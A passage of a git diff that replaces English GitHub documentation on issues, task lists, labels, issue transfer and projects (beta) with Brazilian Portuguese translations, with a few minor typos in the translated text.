+- Solicitações de recursos: Sua equipe ou usuários podem criar problemas para solicitar uma melhoria para o seu produto ou projeto.
+- Erros: Sua equipe ou usuários podem criar problemas para relatar um erro.
 
-### Issue template example
-Below we are creating an issue template for reporting a bug in Project Octocat.
+Dependendo do tipo de repositório e projeto em que você está trabalhando, você pode priorizar certos tipos de problemas em detrimento de outros. Após identificar os tipos de problemas mais comuns da sua equipe, você poderá criar modelos de problema {% ifversion fpt or ghec %}e formulários{% endif %} para o seu repositório. Os modelos {% ifversion fpt or ghec %}e formulários{% endif %} permitem que você crie uma lista padronizada de modelos que um contribuidor pode escolher ao abrirem um problema no seu repositório. Para obter mais informações, consulte "[Configurando modelos de problema para seu repositório](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository)."
 
-![Creating issue template example](/assets/images/help/issues/quickstart-creating-issue-template.png)
+### Exemplo de modelo de problema
+Abaixo, estamos criando um modelo de problema para relatar um erro no projeto Octocat.
 
-Now that we created the bug report issue template, you are able to select it when creating a new issue in Project Octocat.
+![Criar exemplo de modelo de problema](/assets/images/help/issues/quickstart-creating-issue-template.png)
 
-![Choosing issue template example](/assets/images/help/issues/quickstart-issue-creation-menu-with-template.png)
+Agora que criamos o modelo de problemas de relatório de erro, você pode selecioná-lo ao criar um novo problema no projeto Octocat.
 
-## Opening issues and using task lists to track work
-You can organize and track your work by creating issues. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)."
-### Issue example
-Here is an example of an issue created for a large initiative, front-end work, in Project Octocat.
+![Escolhendo o exemplo de modelo de problema](/assets/images/help/issues/quickstart-issue-creation-menu-with-template.png)
 
-![Creating large initiative issue example](/assets/images/help/issues/quickstart-create-large-initiative-issue.png)
-### Task list example
+## Abrir problemas e usar listas de tarefas para monitorar o trabalho
+Você pode organizar e acompanhar seu trabalho criando problemas. Para obter mais informações, consulte "[Criar um problema](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)".
+### Exemplo de problema
+Aqui está um exemplo de uma questão criada para uma grande iniciativa, um trabalho front-end no projeto Octocat.
 
-You can use task lists to break larger issues down into smaller tasks and to track issues as part of a larger goal. {% ifversion fpt or ghec %} Task lists have additional functionality when added to the body of an issue. You can see the number of tasks completed out of the total at the top of the issue, and if someone closes an issue linked in the task list, the checkbox will automatically be marked as complete.{% endif %} For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
+![Criando um exemplo problema de grande iniciativa](/assets/images/help/issues/quickstart-create-large-initiative-issue.png)
+### Exemplo da lista de tarefas
 
-Below we have added a task list to our Project Octocat issue, breaking it down into smaller issues.
+Você pode usar a lista de tarefas para dividir problemas maiores em tarefas menores e acompanhar problemas como parte de um objetivo maior. {% ifversion fpt or ghec %} A lista de tarefas tem funcionalidade adicional quando adicionada ao texto de um problema. Você pode ver o número de tarefas concluídas na parte superior do problema e se alguém fechar um problema vinculado na lista de tarefas, a caixa de seleção será automaticamente marcada como concluída.{% endif %} Para obter mais informações, consulte "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)".
 
-![Adding task list to issue example](/assets/images/help/issues/quickstart-add-task-list-to-issue.png)
+Abaixo nós adicionamos uma lista de tarefas ao problema do projeto Octocat do nosso projeto, dividindo-a em problemas menores.
 
-## Making decisions as a team
-You can use issues and discussions to communicate and make decisions as a team on planned improvements or priorities for your project. Issues are useful when you create them for discussion of specific details, such as bug or performance reports, planning for the next quarter, or design for a new initiative. Discussions are useful for open-ended brainstorming or feedback, outside the codebase and across repositories. For more information, see "[Which discussion tool should I use?](/github/getting-started-with-github/quickstart/communicating-on-github#which-discussion-tool-should-i-use)."
+![Adicionar uma lista de tarefas ao exemplo do problema](/assets/images/help/issues/quickstart-add-task-list-to-issue.png)
 
-As a team, you can also communicate updates on day-to-day tasks within issues so that everyone knows the status of work. For example, you can create an issue for a large feature that multiple people are working on, and each team member can add updates with their status or open questions in that issue.
-### Issue example with project collaborators
-Here is an example of project collaborators giving a status update on their work on the Project Octocat issue.
+## Tomando decisões em equipe
+Você pode usar problemas e discussões para comunicar-se e tomar decisões como equipe sobre melhorias planejadas ou prioridades para o seu projeto. Os problemas são úteis quando você os cria para discussão de detalhes específicos, como bug ou relatórios de desempenho, planejamento para o próximo trimestre ou design para uma nova iniciativa. As discussões são úteis para levantamento de hipóteses ou feedbacks abertos, fora da base de código e em todos os repositórios. Para obter mais informações, consulte "[Qual ferramenta de discussão devo usar?](/github/getting-started-with-github/quickstart/communicating-on-github#which-discussion-tool-should-i-use)".
 
-![Collaborating on issue example](/assets/images/help/issues/quickstart-collaborating-on-issue.png)
-## Using labels to highlight project goals and status
-You can create labels for a repository to categorize issues, pull requests, and discussions. {% data variables.product.prodname_dotcom %} also provides default labels for every new repository that you can edit or delete. Labels are useful for keeping track of project goals, bugs, types of work, and the status of an issue.
+Como uma equipe, você também pode comunicar atualizações sobre tarefas do dia-a-dia dentro dos problemas, para que todos saibam o status do trabalho. Por exemplo, você pode criar um problema para um grande recurso em que várias pessoas estão trabalhando, e cada integrante da equipe pode adicionar atualizações com seu status ou perguntas em aberto nesse problema.
+### Exemplo de problema com colaboradores de projetos
+Aqui está um exemplo de colaboradores de projeto que fornecem uma atualização sobre o seu trabalho sobre o problema do projeto Octocat.
 
-For more information, see "[Creating a label](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label)."
+![Colaborando no exemplo do problema](/assets/images/help/issues/quickstart-collaborating-on-issue.png)
+## Usando etiquetas para destacar objetivos e status do projeto
+Você pode criar etiquetas para um repositório para categorizar problemas, pull requests e discussões. {% data variables.product.prodname_dotcom %} também fornece etiquetas padrão para cada novo repositório que você pode editar ou excluir. As etiquetas são úteis para manter o controle de objetivos, errps, tipos de trabalho e o status de um problema.
 
-Once you have created a label in a repository, you can apply it on any issue, pull request or discussion in the repository. You can then filter issues and pull requests by label to find all associated work. For example, find all the front end bugs in your project by filtering for issues with the `front-end` and `bug` labels. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."
-### Label example
-Below is an example of a `front-end` label that we created and added to the issue.
+Para obter mais informações, consulte "[Criar uma etiqueta](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label)".
 
-![Adding a label to an issue example](/assets/images/help/issues/quickstart-add-label-to-issue.png)
-## Adding issues to a project board
-{% ifversion fpt or ghec %}You can use projects on {% data variables.product.prodname_dotcom %}, currently in limited public beta, to plan and track the work for your team. A project is a customizable spreadsheet that integrates with your issues and pull requests on {% data variables.product.prodname_dotcom %}, automatically staying up-to-date with the information on {% data variables.product.prodname_dotcom %}. You can customize the layout by filtering, sorting, and grouping your issues and PRs. To get started with projects, see "[Quickstart for projects (beta)](/issues/trying-out-the-new-projects-experience/quickstart)."
-### Project (beta) example
-Here is the table layout of an example project, populated with the Project Octocat issues we have created.
+Depois de criar uma etiqueta em um repositório, é possível aplicá-lo em qualquer problema, pull request ou discussão no repositório. Em seguida, você pode filtrar problemas e pull requests por etiqueta para encontrar todo o trabalho associado. Por exemplo, encontre todos os erros front-end em seu projeto, filtrando por problemas com as etiquetas de `front-end` e `erro`. Para obter mais informações, consulte "[Filtrando e pesquisando problemas e pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)".
+### Exemplo de etiqueta
+Abaixo está um exemplo de uma etiqueta `front-end` que criamos e adicionamos ao problema.
 
-![Projects (beta) table layout example](/assets/images/help/issues/quickstart-projects-table-view.png)
+![Adicionando uma etiqueta a um exemplo do problema](/assets/images/help/issues/quickstart-add-label-to-issue.png)
+## Adicionando problemas a um quadro de projeto
+{% ifversion fpt or ghec %}Você pode usar projetos em {% data variables.product.prodname_dotcom %}, atualmente em beta público limitado, para planejar e acompanhar o trabalho da sua equipe. Um projeto é uma planilha personalizável integradas aos seus problemas e pull requests em {% data variables.product.prodname_dotcom %}, mantendo-se atualizada automaticamente com as informações em {% data variables.product.prodname_dotcom %}. Você pode personalizar o layout filtrando, organizando e agrupando seus problemas e PRs. Para começar com projetos, consulte "[Inicialização rápida para projetos (beta)](/issues/trying-out-the-new-projects-experience/quickstart). ".
+### Exemplo de projeto (beta)
+Aqui está o layout da tabela de um projeto de exemplo, preenchido com os problemas do projeto Octocat que criamos.
 
-We can also view the same project as a board.
+![Exemplo do layout da tabela de projetos (beta)](/assets/images/help/issues/quickstart-projects-table-view.png)
 
-![Projects (beta) board layout example](/assets/images/help/issues/quickstart-projects-board-view.png)
+Podemos também visualizar o mesmo projeto como um quadro.
+
+![Exemplo do quadro do layout de projetos (beta)](/assets/images/help/issues/quickstart-projects-board-view.png)
 
 {% endif %}
 
-You can {% ifversion fpt or ghec %} also use the existing{% else %} use{% endif %} project boards on {% data variables.product.prodname_dotcom %} to plan and track your or your team's work. Project boards are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can create project boards for feature work, high-level roadmaps, or even release checklists. For more information, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
-### Project board example
-Below is a project board for our example Project Octocat with the issue we created, and the smaller issues we broke it down into, added to it.
+Você também pode {% ifversion fpt or ghec %} usar os quadros de projeto existentes{% else %} usar{% endif %} no {% data variables.product.prodname_dotcom %} para planejar e acompanhar o trabalho da sua equipe. Os quadros de projeto são compostos por problemas, pull requests e observações que são categorizados como cartões em colunas de sua escolha. Você pode criar quadros de projetos para trabalho de funcionalidades, itinerários de alto nível ou até mesmo aprovar checklists. Para obter mais informações, consulte "[Sobre quadros de projeto](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)".
+### Exemplo de quadro de projeto
+Abaixo, está um painel de projeto para o nosso exemplo de projeto Octocat com o problema que criamos, e os problemas menores nos quais separamos, foram adicionados.
 
-![Project board example](/assets/images/help/issues/quickstart-project-board.png)
-## Next steps
+![Exemplo de quadro de projeto](/assets/images/help/issues/quickstart-project-board.png)
+## Próximas etapas
 
-You have now learned about the tools {% data variables.product.prodname_dotcom %} offers for planning and tracking your work, and made a start in setting up your cross-functional team or project repository! Here are some helpful resources for further customizing your repository and organizing your work.
+Agora você aprendeu sobre as ferramentas que {% data variables.product.prodname_dotcom %} oferece para planejamento e acompanhamento do seu trabalho e deu o seu primeiro passo para definir a sua equipe multifuncional ou repositório de projetos! Aqui estão alguns recursos úteis para personalizar ainda mais seu repositório e organizar seu trabalho.
 
-- "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)" for learning more about creating repositories
-- "[Tracking your work with issues](/issues/tracking-your-work-with-issues)" for learning more about different ways to create and manage issues
-- "[About issues and pull request templates](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)" for learning more about issue templates
-- "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)" for learning how to create, edit and delete labels
-- "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)" for learning more about task lists
-{% ifversion fpt or ghec %} - "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" for learning more about the new projects experience, currently in limited public beta 
-- "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)" for learning how to customize views for projects, currently in limited public beta{% endif %}
-- "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)" for learning how to manage project boards
+- "[Sobre repositórios](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)" para aprender mais sobre a criação de repositórios
+- "[Monitorar o seu trabalho com problemas](/issues/tracking-your-work-with-issues)para aprender mais sobre diferentes formas de criar e gerenciar problemas
+- "[Sobre problemas e modelos de pull request](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)para aprender mais sobre modelos de problemas
+- "[Gerenciando etiquetas](/issues/using-labels-and-milestones-to-track-work/managing-labels)" para aprender a criar, editar e excluir etiquetas
+- "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)" para aprender mais sobre listas de tarefas
+{% ifversion fpt or ghec %} - "[Sobre projetos (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" para aprender mais sobre a experiência dos novos projetos, atualmente em beta público limitado
+- "[Personalizando as visualizações do seu projeto (beta)](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)" para aprender como personalizar visualizações para projetos, atualmente em beta público limitado{% endif %}
+- "[Sobre os quadros de projetos](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)" para aprender como gerenciar os quadros de projetos
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
index ad7784c38b..37418550e5 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring an issue to another repository
-intro: 'To move an issue to a better fitting repository, you can transfer open issues to other repositories.'
+title: Transferir um problema para outro repositório
+intro: 'Para mover um problema para um repositório mais adequado, você pode transferir problemas abertos para outros repositórios.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/transferring-an-issue-to-another-repository
   - /articles/transferring-an-issue-to-another-repository
@@ -13,31 +13,27 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Transfer an issue
+shortTitle: Transferir um problema
 ---
-To transfer an open issue to another repository, you must have write access to the repository the issue is in and the repository you're transferring the issue to. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-You can only transfer issues between repositories owned by the same user or organization account. {% ifversion fpt or ghes or ghec %}You can't transfer an issue from a private repository to a public repository.{% endif %}
+Para transferir um problema aberto para outro repositório, é preciso ter acesso de gravação no repositório em que o problema está e no repositório para onde você está transferindo o problema. Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-When you transfer an issue, comments and assignees are retained. The issue's labels and milestones are not retained. This issue will stay on any user-owned or organization-wide project boards and be removed from any repository project boards. For more information, see "[About project boards](/articles/about-project-boards)."
+Você somente pode transferir problemas entre repositórios pertencentes à mesma conta de usuário ou organização. {% ifversion fpt or ghes or ghec %}Você não pode transferir um problema de um repositório privado para um repositório público.{% endif %}
 
-People or teams who are mentioned in the issue will receive a notification letting them know that the issue has been transferred to a new repository. The original URL redirects to the new issue's URL. People who don't have read permissions in the new repository will see a banner letting them know that the issue has been transferred to a new repository that they can't access.
+Quando você transfere um problema, os comentários e responsáveis são mantidos. As etiquetas e os marcos do problema não são retidos. Esse problema permanecerá em qualquer quadro de projeto pertencente ao usuário ou à organização e será removido dos quadros de projeto de todos os repositórios. Para obter mais informações, consulte "[Sobre quadros de projeto](/articles/about-project-boards)".
 
-## Transferring an open issue to another repository
+As pessoas ou equipes mencionadas no problema receberão uma notificação informando que o problema foi transferido para um novo repositório. O URL original redirecionará para o novo URL do problema. As pessoas que não tenham permissões de leitura no novo repositório verão um banner informando que o problema foi transferido para um novo repositório ao qual elas não têm acesso.
 
-{% include tool-switcher %}
+## Transferir um problema aberto para outro repositório
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issues %}
-3. In the list of issues, click the issue you'd like to transfer.
-4. In the right sidebar, click **Transfer issue**.
-![Button to transfer issue](/assets/images/help/repository/transfer-issue.png)
-5. Use the **Choose a repository** drop-down menu, and select the repository you want to transfer the issue to.
-![Choose a repository selection](/assets/images/help/repository/choose-a-repository.png)
-6. Click **Transfer issue**.
-![Transfer issue button](/assets/images/help/repository/transfer-issue-button.png)
+3. Na lista de problemas, clique no problema que deseja transferir.
+4. Na barra lateral direita, clique em **Transfer issue** (Transferir problema). ![Botão para transferir problema](/assets/images/help/repository/transfer-issue.png)
+5. Use o menu **Choose a repository** (Escolher um repositório) e selecione o repositório para o qual deseja transferir o problema. ![Seleção em Choose a repository (Escolher um repositório)](/assets/images/help/repository/choose-a-repository.png)
+6. Clique em **Transfer issue** (Transferir problema). ![Botão Transfer issue (Transferir problema)](/assets/images/help/repository/transfer-issue-button.png)
 
 {% endwebui %}
 
@@ -45,7 +41,7 @@ People or teams who are mentioned in the issue will receive a notification letti
 
 {% data reusables.cli.cli-learn-more %}
 
-To transfer an issue, use the `gh issue transfer` subcommand. Replace the `issue` parameter with the number or URL of the issue. Replace the `{% ifversion ghes %}hostname/{% endif %}owner/repo` parameter with the {% ifversion ghes %}URL{% else %}name{% endif %} of the repository that you want to transfer the issue to, such as `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`.
+Para transferir um problema, use o subcomando `gh issue transfer`. Substitua o parâmetro `problema` pelo número ou URL do problema. Substitua o parâmetro `{% ifversion ghes %}nome do host/{% endif %}proprietário/repositório` pelo {% ifversion ghes %}URL{% else %}nome{% endif %} do repositório para o qual você deseja transferir o problema como, por exemplo, `{% ifversion ghes %}https://ghe. o/{% endif %}octocat/octo-repo`.
 
 ```shell
 gh issue transfer <em>issue</em> <em>{% ifversion ghes %}hostname/{% endif %}owner/repo</em>
@@ -53,8 +49,8 @@ gh issue transfer <em>issue</em> <em>{% ifversion ghes %}hostname/{% endif %}own
 
 {% endcli %}
 
-## Further reading
+## Leia mais
 
-- "[About issues](/articles/about-issues)"
-- "[Reviewing your security log](/articles/reviewing-your-security-log)"
-- "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)"
+- "[Sobre problemas](/articles/about-issues)"
+- "[Revisar o log de segurança](/articles/reviewing-your-security-log)"
+- "[Revisar o log de auditoria da organização](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)"
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
index 45ac72dd0d..cb9c313967 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing all of your issues and pull requests
-intro: 'The Issues and Pull Request dashboards list the open issues and pull requests you''ve created. You can use them to update items that have gone stale, close them, or keep track of where you''ve been mentioned across all repositories—including those you''re not subscribed to.'
+title: Exibir todos os problemas e pull requests
+intro: 'Os painéis Problemas e Pull Requests listam os problemas e pull requests abertos que foram criados por você. Você pode usá-los para atualizar itens que ficaram obsoletos, fechá-los ou acompanhar onde você foi mencionado em todos os repositórios, inclusive aqueles em que que você não fez assinatura.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/viewing-all-of-your-issues-and-pull-requests
   - /articles/viewing-all-of-your-issues-and-pull-requests
@@ -14,16 +14,15 @@ versions:
 topics:
   - Pull requests
   - Issues
-shortTitle: View all your issues & PRs
+shortTitle: Visualizar todos os seus problemas & PRs
 type: how_to
 ---
-Your issues and pull request dashboards are available at the top of any page. On each dashboard, you can filter the list to find issues or pull requests you created, that are assigned to you, or in which you're mentioned. You can also find pull requests that you've been asked to review.
 
-1. At the top of any page, click **Pull requests** or **Issues**.
-  ![The global pull requests and issues dashboards](/assets/images/help/overview/issues_and_pr_dashboard.png)
-2. Optionally, choose a filter or [use the search bar to filter for more specific results](/articles/using-search-to-filter-issues-and-pull-requests).
-  ![List of pull requests with the "Created" filter selected](/assets/images/help/overview/pr_dashboard_created.png)
+Os painéis de problemas e pull requests estão disponíveis na parte superior de qualquer página. Em cada painel, é possível filtrar a lista para encontrar problemas ou pull requests que você criou, que foram atribuídos a você ou nos quais você foi mencionado. Também é possível encontrar pull requests que você deverá revisar.
 
-## Further reading
+1. Na parte superior de qualquer página, clique em **Pull requests** (Pull requests) ou em **Issues** (Problemas). ![Os painéis globais de problemas e pull requests](/assets/images/help/overview/issues_and_pr_dashboard.png)
+2. Outra opção é escolher um filtro ou [usar a barra de pesquisa para filtrar resultados mais específicos](/articles/using-search-to-filter-issues-and-pull-requests). ![Lista de pull requests com o filtro "Created" (Criado) selecionado](/assets/images/help/overview/pr_dashboard_created.png)
 
-- {% ifversion fpt or ghes or ghae or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching){% else %}"[Listing the repositories you're watching](/github/receiving-notifications-about-activity-on-github/listing-the-repositories-youre-watching){% endif %}"
+## Leia mais
+
+- {% ifversion fpt or ghes or ghae or ghec %}"[Visualizando as suas assinaturas](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching){% else %}"[Listando os repositórios que você está inspecionando](/github/receiving-notifications-about-activity-on-github/listing-the-repositories-youre-watching){% endif %}"
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/about-projects.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/about-projects.md
index 8101704c81..94696f2f84 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/about-projects.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/about-projects.md
@@ -1,6 +1,6 @@
 ---
-title: About projects (beta)
-intro: 'Projects are a customizable, flexible tool for planning and tracking work on {% data variables.product.company_short %}.'
+title: Sobre projetos (beta)
+intro: 'Os projetos são uma ferramenta personalizável e flexível para planejamento e acompanhamento de trabalhos em {% data variables.product.company_short %}.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -13,52 +13,52 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## About projects
+## Sobre projetos
 
-A project is a customizable spreadsheet that integrates with your issues and pull requests on {% data variables.product.company_short %}. You can customize the layout by filtering, sorting, and grouping your issues and PRs. You can also add custom fields to track metadata. Projects are flexible so that your team can work in the way that is best for them.
+Um projeto é uma planilha personalizável que se integra aos seus problemas e pull requests em {% data variables.product.company_short %}. Você pode personalizar o layout filtrando, organizando e agrupando seus problemas e PRs. Você também pode adicionar campos personalizados para rastrear metadados. Os projetos são flexíveis para que sua equipe possa trabalhar da maneira que for melhor para eles.
 
-### Staying up-to-date
+### Mantendo-se atualizado
 
-Your project automatically stays up-to-date with the information on {% data variables.product.company_short %}. When a pull request or issue changes, your project reflects that change. This integration also works both ways, so that when you change information about a pull request or issue from your project, the pull request or issue reflects that information.
+O seu projeto permanece automaticamente atualizado com as informações em {% data variables.product.company_short %}. Quando um pull request ou um problema é alterado, o seu projeto reflete essa alteração. Esta integração também funciona nos dois sentidos, para que, quando você altera as informações sobre um problema ou pull request do seu projeto, o problema ou o pull request irá refletir essa informação.
 
-### Adding metadata to your tasks
+### Adicionando metadados às suas tarefas
 
-You can use custom fields to add metadata to your tasks. For example, you can track the following metadata:
+Você pode usar campos personalizados para adicionar metadados às suas tarefas. Por exemplo, você pode monitorar os seguintes metadados:
 
-- a date field to track target ship dates
-- a number field to track the complexity of a task
-- a single select field to track whether a task is Low, Medium, or High priority
-- a text field to add a quick note
-- an iteration field to plan work week-by-week
+- um campo de data para acompanhar as datas de envio
+- um campo numérico para monitorar a complexidade de uma tarefa
+- um único campo de seleção para rastrear se uma tarefa tem prioridade baixa, média ou alta
+- um campo de texto para adicionar uma observação rápida
+- um campo de iteração para planejar o trabalho semanalmente
 
-### Viewing your project from different perspectives
+### Visualizando seu projeto de diferentes perspectivas
 
-You can view your project as a high density table layout:
+Você pode ver seu projeto como um layout de tabela de alta densidade:
 
-![Project table](/assets/images/help/issues/projects_table.png)
+![Tabela de projeto](/assets/images/help/issues/projects_table.png)
 
-Or as a board:
+Ou como um quadro:
 
-![Project board](/assets/images/help/issues/projects_board.png)
+![Quadro de projeto](/assets/images/help/issues/projects_board.png)
 
-To help you focus on specific aspects of your project, you can group, sort, or filter items:
+Para ajudar você a concentrar-se em aspectos específicos do seu projeto, você pode agrupar, ordenar ou filtrar itens:
 
-![Project view](/assets/images/help/issues/project_view.png)
+![Visualização do projeto](/assets/images/help/issues/project_view.png)
 
-For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Para obter mais informações, consulte "[Personalizar as visualizações do seu projeto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-### Working with the project command palette
+### Trabalhando com a paleta de comandos do projeto
 
-You can use the project command palette to quickly change views or add fields. The command palette guides you so that you don't need to memorize custom keyboard shortcuts. For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Você pode usar a paleta de comandos do projeto para alterar rapidamente as visualizações ou adicionar campos. A paleta de comandos guia você para que você não precise memorizar atalhos de teclado personalizados. Para obter mais informações, consulte "[Personalizar as visualizações do seu projeto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-### Automating project management tasks
+### Automatizando tarefas de gerenciamento de projetos
 
-Projects (beta) offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done." You can also use the GraphQL API and {% data variables.product.prodname_actions %} to automate routine project management tasks. For more information, see "[Automating projects](/issues/trying-out-the-new-projects-experience/automating-projects)" and "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)."
+Os projetos (beta) oferecem fluxos de trabalho integrados. Por exemplo, quando um problema é fechado, você pode definir automaticamente o status como "Concluído". Você também pode usar a API do GraphQL e {% data variables.product.prodname_actions %} para automatizar tarefas cotidianas de gerenciamento de projeto. Para obter mais informações, consulte "[Automatizando projetos](/issues/trying-out-the-new-projects-experience/automating-projects)" e "[Usando a API para gerenciar os projetos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)".
 
-## Comparing projects (beta) with the non-beta projects
+## Comparação de projetos (beta) com os projetos que não são beta
 
-Projects (beta) is a new, customizable version of projects. For more information about the non-beta version of projects, see "[Organizing your work with project boards](/issues/organizing-your-work-with-project-boards)."
+Projetos (beta) é uma nova versão personalizável dos projetos. Para obter mais informações sobre a versão que não é beta dos projetos, consulte "[Organizar seu trabalho com quadros de projeto](/issues/organizing-your-work-with-project-boards)".
 
-## Sharing feedback
+## Compartilhando feedback
 
-You can share your feedback about projects (beta) with {% data variables.product.company_short %}. To join the conversation, see [the feedback discussion](https://github.com/github/feedback/discussions/categories/issues-feedback).
+Você pode compartilhar seu feedback sobre projetos (beta) com {% data variables.product.company_short %}. Para juntar-se à conversa, consulte [a discussão de feedbacks](https://github.com/github/feedback/discussions/categories/issues-feedback).
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/automating-projects.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/automating-projects.md
index 108e6a93f4..a98271502e 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/automating-projects.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/automating-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Automating projects (beta)
-intro: 'You can use built-in workflows or the API and {% data variables.product.prodname_actions %} to manage your projects.'
+title: Automatizando projetos (beta)
+intro: 'Você pode usar fluxos de trabalho integrados ou a API e {% data variables.product.prodname_actions %} para gerenciar seus projetos.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -15,51 +15,51 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## Introduction
+## Introdução
 
-You can add automation to help manage your project. Projects (beta) includes built-in workflows that you can configure through the UI. Additionally, you can write custom workflows with the GraphQL API and {% data variables.product.prodname_actions %}.
+Você pode adicionar a automação para ajudar a gerenciar seu projeto. Os projetos (beta) incluem fluxos de trabalho internos que você pode configurar por meio da interface do usuário. Além disso, você pode escrever fluxos de trabalho personalizados com a API do GraphQL e {% data variables.product.prodname_actions %}.
 
-## Built-in workflows
+## Fluxos de trabalho integrados
 
 {% data reusables.projects.about-workflows %}
 
-You can enable or disable the built-in workflows for your project.
+Você pode habilitar ou desabilitar os fluxos de trabalho internos para o seu projeto.
 
 {% data reusables.projects.enable-basic-workflow %}
 
-## {% data variables.product.prodname_actions %} workflows
+## Fluxos de trabalho {% data variables.product.prodname_actions %}
 
-This section demonstrates how to use the GraphQL API and {% data variables.product.prodname_actions %} to add a pull request to an organization project. In the example workflows, when the pull request is marked as "ready for review", a new task is added to the project with a "Status" field set to "Todo", and the current date is added to a custom "Date posted" field.
+Esta seção demonstra como usar a API do GraphQL e {% data variables.product.prodname_actions %} para adicionar um pull request a um projeto da organização. No exemplo de fluxos de trabalho, quando o pull request é marcado como "pronto para revisão", uma nova tarefa é adicionada ao projeto com um campo "Status" definido como "Todo", e a data atual é adicionada a um campo personalizado "Data de postagem".
 
-You can copy one of the workflows below and modify it as described in the table below to meet your needs.
+Você pode copiar um dos fluxos de trabalho abaixo e modificá-lo conforme descrito na tabela abaixo para atender às suas necessidades.
 
-A project can span multiple repositories, but a workflow is specific to a repository. Add the workflow to each repository that you want your project to track. For more information about creating workflow files, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)."
+Um projeto pode incluir vários repositórios, mas um fluxo de trabalho é específico para um repositório. Adicione o fluxo de trabalho a cada repositório que você deseja que seu projeto monitore. Para obter mais informações sobre como criar arquivos de fluxo de trabalho, consulte "[Início rápido para {% data variables.product.prodname_actions %}](/actions/quickstart)".
 
